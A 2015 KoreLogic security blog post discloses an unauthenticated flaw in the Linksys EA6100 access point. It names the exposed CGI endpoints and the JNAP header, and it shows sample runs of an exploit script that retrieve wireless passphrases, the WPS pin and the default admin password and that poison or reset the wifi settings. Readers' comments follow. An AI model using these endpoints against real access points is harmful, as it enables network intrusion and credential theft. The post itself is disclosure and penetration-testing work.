KoreLogic Blog
Q: Can I have your password? A: Yes you can. 2015-12-04 16:45

Hello folks, welcome to the first of a four part blog mini-series on firmware and embedded devices. My name is Matt Bergin and i'll be guiding you through the series. We plan to release each part of the series on the Friday of each week in December. The release of the final part in our series is dependent on our responsible disclosure timeline holding for a finding, but we're pretty confident.

We're going to start slowly and with something simple. Today's tale is about a little access point that tried and tried but just couldn't keep its mouth shut. If it has an IP it'll talk, and what it says you might not like. Though, we tried to make it stop (see the timeline in the advisory), it didn't seem to matter to the manufacturer. So here we are: an 0day to help start your holiday season.

Sincerely,
KoreLogic

Onward and upward!

You can purchase the vulnerable device and download the corresponding firmware here: http://www.linksys.com/us/support-product?pid=01t80000003cVuwAAE

We'll start off by doing what every other blog on firmware reversing tells you to do: run binwalk. In this case, it will work without any changes and you'll end up with a sub-directory containing the files you're going to want. If you would rather work off of a live system, JTAG pins are on the board and the console can be found with your baudrate set to 115200.

# ls
bin  etc   JNAP  libexec  mnt  proc  sbin  tmp  var
dev  home  lib   linuxrc  opt  root  sys   usr  www
# cd www
# ls
bootloader_info.cgi     incoming_log.txt        security_log.txt
cgi-bin                 jcgi                    speedtest_info.cgi
dhcp_log.txt            JNAP                    sysinfo.cgi
ezwifi_cfg.cgi          license.pdf             ui
get_counter_info.cgi    outgoing_log.txt        usbinfo.cgi
getstinfo.cgi           qos_info.cgi

There are a many CGI files of interest, I will only talk about a few.

# ls -la sysinfo.cgi
lrwxrwxrwx 1 root root 23 Jul 21  2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi
# ls -la getstinfo.cgi
lrwxrwxrwx 1 root root 23 Jul 21  2014 sysinfo.cgi -> /www/ui/cgi/getstinfo.cgi
# ls -la sysinfo.cgi
lrwxrwxrwx 1 root root 23 Jul 21  2014 ezwifi_cfg.cgi -> /www/ui/cgi/ezwifi_cfg.cgi

These files are accessible from an unauthenticated perspective and allow the pentester to perform a variety of actions. A pentesting team with one person who is simultaneously conducting attacks from an already established network location and a geographically separate person oriented near the access point who desires access to the affected network could then use attacks like this to their advantage. This approach will reduce the need for internet facing assets whose use may compromise the engagement while allowing for a higher degree of persistency and anonymity. These attacks are a good example of why enterprise-grade wireless security is so important.

$ python kl-linksys-ea6100-auth-bypass.py --help
Brought to you by Level at KoreLogic

Usage: kl-linksys-ea6100-auth-bypass.py [options]

Options:
  -h, --help    show this help message and exit
  --host=HOST   Target IP address
  --sysinfo     Get target system information
  --getpwhash   Get target wireless password hash
  --getclearpw  Get target wireless SSID and cleartext password
  --isdefault   Check if target is running the default admin credential (if
                yes, obtain passphrase)
  --resetwifi   Reset the access point security (requires default passphrase)
  --poisonwifi  Poison the access point security settings
  --getwpspin   Get the WPS pin for the target

The switches above and their corresponding description convey the functionality built into our exploit.

The first is --isdefault which works by sending the access point management interface a JNAP action over HTTP. The JNAP functionality within the EA series access points has been discussed previously; see for example https://github.com/Qanan/Linksys-JNAP-Siphon

This tool does indeed siphon out some interesting information, even information that is redundant to what we obtain through separate methods. While it used to be quite popular for the default admin account in these types of devices to just be admin/admin we found that is no longer the case for the EA series. Instead we found a (seemingly) random password on the label for our hardware. We didn't look, but lets just hope it isn't based on the serial number of the device or any other predicatable value really.

So, what does --isdefault do? It sends an HTTP request to the access point with a header name X-JNAP-Action whose value is a URL.

Example: http://linksys.com/jnap/core/IsAdminPasswordDefault

The access point will return an HTTP 200 with a JSON string. The string contains a key named 'output' which also contains a JSON value. This value has a key named 'isAdminPasswordDefault' and contains a boolean indicating whether or not the password has been changed.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --isdefault
Brought to you by Level at KoreLogic

[+] Target host is alive, proceeding.
[+] Checking if administrator passphrase is default -
[!] Passphrase is not default

I changed the password, but what if I had not yet changed it? I mean, it's not admin/admin anymore so I should good right? Wrong. The access point will tell _anyone_ the default admin password regardless if it's set or not. In cases where isAdminPasswordDefault is True, the exploit will obtain the default password in clear text. You'll see this in action later on.

What about getting access to the wireless network? Well, there are a few options. If you don't mind cracking hashes then --getpwhash will make an HTTP call to the access point at getstinfo.cgi which will then return the values shown below.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getpwhash
Brought to you by Level at KoreLogic

[+] Target host is alive, proceeding.
[+] Obtaining wireless password hash -
    SSID=[redacted]
    Passphrase=[redacted]

What if you want to use WPS instead? No problem, just run --getwpspin. This makes an HTTP call to sysinfo.cgi and then parses the response for the value.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getwpspin
Brought to you by Level at KoreLogic

[+] Target host is alive, proceeding.
[+] Getting WPS pin -
        WPS PIN: [redacted]

If you don't want to use any of those or maybe you just want the WPA2 password, you can use --getclearpw. This also makes a HTTP call to sysinfo.cgi, except this will search for the wireless security settings which are stored in cleartext.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getclearpw
Brought to you by Level at KoreLogic

[+] Target host is alive, proceeding.
[+] Obtaining wireless ssid and password -
        wl0 Passphrase: [redacted]
        wl0 SSID: [redacted]
        wl1 Passphrase: [redacted]
        wl1 SSID: [redacted]

If you're looking for a "poison the well" type attack, then --poisonwifi is for you. This switch makes an HTTP call that will reconfigure NVRAM so the next time a change is applied your poisoned wireless settings will also get applied. Once the HTTP call to poison the settings has taken place, the exploit will call --getclearpw and search for your poisoned settings to ensure poisoning has taken place.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --poisonwifi
Brought to you by Level at KoreLogic

[+] Target host is alive, proceeding.
[+] Poisoning wireless ssid configuration
[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI

Say stealth doesn't matter and this attack vector is still your best shot for some reason, if --isdefault is True the exploit can automatically reconfigure the wireless settings for quick network access. Using the switch --resetwifi will run --isdefault and if it returns True, it will then run a separate JNAP action that will perform the reconfiguration.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --resetwifi
Brought to you by Level at KoreLogic

[+] Target host is alive, proceeding.
[+] Resetting the access point security
[+] Admin password is default, asking for the password
[+] Got the passphrase: [redacted]
[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2

I hope you enjoyed reading this blog. Next week we will talk about a cloud-based smart lawn watering solution and how to retain cool functionality in smart gadgets while removing third-party access to your network. Cheers!


3 comments Posted by Matt at: 16:45 permalink

evandrix wrote at 2015-12-08 13:17:

Will `kl-linksys-ea6100-auth-bypass.py` be released somewhere, e.g. GitHub?

Billwong wrote at 2015-12-08 16:13:

linksys is like the bastard child of a brand, owned by cisco, and by belkin, it's not that hard to see why they are having a hard time dealing with security. great info, can't wait to get the github release on the tool, btw, have you been able to check if the network isolation is good between the guest mode and the internal network, it would be pretty nice to see if it works.

Hank wrote at 2015-12-08 16:25:

See the Proof of Concept in the linked advisory; that is the same as the kl-linksys-ea6100-auth-bypass.py script referenced in the blog writeup.

Comments are closed for this story.